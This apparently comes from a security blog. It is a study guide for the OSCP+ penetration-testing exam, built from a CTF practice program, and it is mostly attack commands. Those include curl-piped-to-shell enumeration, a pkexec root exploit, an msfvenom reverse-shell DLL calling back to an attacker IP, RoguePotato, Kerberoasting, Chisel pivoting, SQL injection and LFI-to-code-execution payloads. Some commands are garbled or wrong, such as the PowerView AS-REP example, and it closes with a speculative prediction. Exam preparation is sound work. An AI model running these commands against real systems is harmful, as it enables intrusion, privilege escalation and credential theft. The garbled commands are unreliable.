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Introduction:
The OSCP+ certification demands more than theoretical knowledge—it requires practical mastery of real-world attack chains, from initial enumeration to domain compromise. This article extracts core techniques from Ignite Technologies’ CTF practice program, delivering actionable commands and methodologies to simulate exam-like environments, covering Windows/Linux privilege escalation, tunneling, and Active Directory attacks.
Learning Objectives:
- Execute systematic information gathering and vulnerability scanning using Nmap, Rustscan, and automated enumeration scripts.
- Perform Linux and Windows privilege escalation through kernel exploits, misconfigurations, and service hijacking.
- Conduct Active Directory attacks, including Kerberoasting, Pass-the-Hash, and ACL abuse, with proper pivoting techniques.
You Should Know:
- Network Enumeration & Service Discovery – The Foundation of Every CTF
Start your engagement by mapping the attack surface. Use the following commands to identify live hosts, open ports, and running services.
Linux Commands:
Discover live hosts on the local subnet nmap -sn 192.168.1.0/24 Aggressive service scan with default scripts nmap -sC -sV -p- -T4 10.10.10.10 -oA full_scan Faster alternative with Rustscan (parallelized) rustscan -a 10.10.10.10 --ulimit 5000 -- -sC -sV Enumerate UDP services (often overlooked) nmap -sU --top-ports 100 10.10.10.10
Windows Equivalent (PowerShell):
Test-NetConnection for basic port scan
1..1024 | ForEach-Object { Test-NetConnection 10.10.10.10 -Port $_ -WarningAction SilentlyContinue } | Where-Object {$_.TcpTestSucceeded}
Use PortQry for advanced enumeration
portqry.exe -n 10.10.10.10 -e 53 -p UDP
Step-by-Step Guide:
- Run a ping sweep to identify live targets: `nmap -sn
`
– Perform a full TCP port scan on discovered hosts: `nmap -p- –min-rate 1000`
– Follow with version detection and default scripts on open ports: `nmap -sC -sV -p`
– Enumerate common UDP services (DNS, SNMP, NTP) with `-sU`
– Save output in grepable format for automated parsing: `-oG greppable.txt`This methodology mirrors the OSCP+ approach: never skip initial enumeration, as hidden services (e.g., 8080, 3306, 6379) often lead to initial footholds.
- Linux Privilege Escalation – From Low User to Root
After gaining a low-privilege shell, escalate using kernel exploits, SUID binaries, or cron jobs. Below are verified techniques and commands.
Automated Enumeration:
LinPEAS – Comprehensive privilege escalation audit curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh Manual checks sudo -l Check sudo rights find / -perm -4000 -type f 2>/dev/null List SUID binaries crontab -l && ls -la /etc/cron Examine cron jobs
Exploiting SUID Binary (Example with `pkexec` – CVE-2021-4034):
Check if pkexec is SUID which pkexec && ls -la $(which pkexec) Download exploit git clone https://github.com/berdav/CVE-2021-4034.git cd CVE-2021-4034 make ./cve-2021-4034 Spawns root shell
Windows Privilege Escalation Commands (PowerShell):
WhoAmI and privileges
whoami /priv | Out-String
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10
Check AlwaysInstallElevated registry key
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Unquoted service path detection
Get-WmiObject win32_service | Select-Object Name, StartName, PathName | Where-Object {$<em>.PathName -notlike '""'} | Where-Object {$</em>.PathName -like ' '}
Step-by-Step Guide:
- Upload linpeas.sh to the target using `wget` or `certutil`
– Run it and analyze the highlighted (red/yellow) findings - Check kernel version: `uname -a` – search for public exploits (e.g., DirtyPipe, OverlayFS)
- For Windows, run `winPEAS.exe` or `PowerUp.ps1` from PowerSploit
- Always verify exploit reliability before execution; unstable exploits may crash the service
- Windows Privilege Escalation – Token Manipulation & Potentially Unwanted Programs
Windows environments often contain misconfigured services, weak permissions, or vulnerable drivers. Use these techniques to elevate.
Token Impersonation (Juicy Potato / RoguePotato):
List available tokens (requires SeImpersonate or SeAssignPrimaryToken) whoami /priv If SeImpersonatePrivilege is present, download RoguePotato RoguePotato.exe -r 10.10.14.10 -e "cmd.exe" -l 9999
DLL Hijacking via Path Environment Variable:
Check if a service loads a missing DLL from a writable directory Using Process Monitor to detect "NAME NOT FOUND" errors Then compile a malicious DLL with msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f dll -o hijack.dll
Step-by-Step Guide:
- Enumerate Windows services with `sc query` or `Get-Service`
– Look for services running as SYSTEM with weak permissions (AllAccess for Users) - Use `accesschk.exe` to check service configuration: `accesschk.exe -uwcqv “Authenticated Users” `
– If a service binary is writable, replace it with a reverse shell executable and restart the service (or wait for reboot) - For SeImpersonate, trigger a COM service (e.g., BITS) and use RoguePotato to get SYSTEM
- Active Directory Attacks – Kerberoasting, AS-REP Roasting, and ACL Abuse
Active Directory is a core OSCP+ topic. Below are commands for common attack paths using Impacket and PowerView.
Linux (Impacket) – Kerberoasting:
GetUserSPNs to request service tickets GetUserSPNs.py -dc-ip 10.10.10.10 DOMAIN/username:password -request Crack the hash with John or Hashcat john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Windows (PowerView) – AS-REP Roasting:
Import PowerView Import-Module .\PowerView.ps1 Find users with DONT_REQ_PREAUTH set Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName Request AS-REP hash for each Get-DomainUser -PreauthNotRequired | Get-DomainSPNTicket | Select-Object Hash
Step-by-Step Guide:
- Enumerate AD domain users and groups with `enum4linux` or `ldapsearch`
– Use `BloodHound` to map attack paths: run SharpHound.exe on a Windows target, ingest data into BloodHound - Identify high-value targets (Domain Admins, Enterprise Admins)
- If you have a low-privilege AD account, perform Kerberoasting to crack service account passwords
- Abuse ACLs using `DACL` edges in BloodHound (e.g., GenericWrite on a user allows RBCD attack)
5. Tunneling & Pivoting – Accessing Internal Networks
After compromising one host, pivot to the internal network using SSH tunneling or Chisel.
Chisel – Reverse SOCKS Proxy (Linux/Windows):
Attacker machine (listener) chisel server --reverse -p 8000 Compromised target (client) chisel client <attacker_IP>:8000 R:socks
SSH Local Port Forwarding:
Forward remote port 3389 (RDP) to local port 13389 ssh -L 13389:internal_host:3389 user@jumphost Now connect to localhost:13389 to RDP into internal_host
Metasploit Pivoting (Meterpreter):
run autoroute -s 192.168.10.0/24 background use auxiliary/server/socks_proxy set SRVHOST 127.0.0.1 run Use proxychains with socks5 127.0.0.1 1080
Step-by-Step Guide:
- On the compromised host, identify internal networks with `ipconfig` or `ifconfig`
– Use `proxychains` with dynamic SOCKS to route tools like Nmap through the pivot - For Windows targets, use `plink.exe` (PuTTY Link) to create SSH tunnels if SSH is available
- For restrictive environments, use `socat` or `netsh` to forward ports
- Remember to add `proxychains` before each command: `proxychains nmap -sT -Pn 192.168.10.1`
- Web Application Attacks – SQLi, XSS, and LFI to RCE
Web apps often provide the initial foothold. Use these manual and automated techniques.
SQL Injection (Manual Boolean-Based):
' OR '1'='1' -- - ' UNION SELECT username, password FROM users --
Using sqlmap for Automated Exploitation:
Dump database with risk and level high sqlmap -u "http://target.com/page?id=1" --dbs --batch --risk=3 --level=5 OS shell if MySQL allows INTO OUTFILE sqlmap -u "http://target.com/page?id=1" --os-shell
Local File Inclusion to Remote Code Execution (via PHP Wrappers):
http://target.com/index.php?page=../../../../etc/passwd
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
http://target.com/index.php?page=data://text/plain,<?php system('id'); ?>
Step-by-Step Guide:
- Intercept requests with Burp Suite or OWASP ZAP
- Test for SQLi by injecting single quotes and observing errors
- For LFI, try common files:
/etc/passwd, `C:\Windows\win.ini`
– Combine LFI with log poisoning: include Apache access logs after injecting PHP code via User-Agent - Use `wfuzz` to fuzz parameters and directories: `wfuzz -c -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ`
What Undercode Say:
- Enumerate relentlessly – The OSCP+ exam rewards thorough scanning; missed services often contain critical vulnerabilities.
- Master privilege escalation – Both Linux and Windows escalations are high-yield; practice with vulnerable machines (HackTheBox, TryHackMe).
- Active Directory is non-negotiable – Learn Kerberos attacks, SMB relay, and ACL abuse; BloodHound is your best friend.
- Tunneling bridges the gap – Real-world engagements require pivoting; master Chisel and SSH dynamic forwarding.
- Web apps are entry points – SQLi and LFI remain prevalent; manual testing beats full automation for bypassing WAFs.
- Automate judiciously – Tools like LinPEAS and PowerUp save time, but always verify output manually.
- Practice report writing – Professional documentation of findings and remediation steps distinguishes a pentester from a script kiddie.
Prediction:
By 2027, OSCP+ and similar certifications will incorporate AI-assisted attack simulations, requiring candidates to evade machine learning–based detection systems and exploit large language model (LLM) injection flaws in enterprise applications. Hands-on CTF platforms like Ignite Technologies’ program will evolve to include cloud-native environments (AWS, Azure) and container breakout scenarios, making multi-cloud privilege escalation a core skill. Aspiring red teamers who focus on foundational enumeration, AD abuse, and tunneling today will adapt seamlessly to these changes, while those relying solely on automated tools will struggle. The future of ethical hacking demands creativity, not just memorization of exploits.
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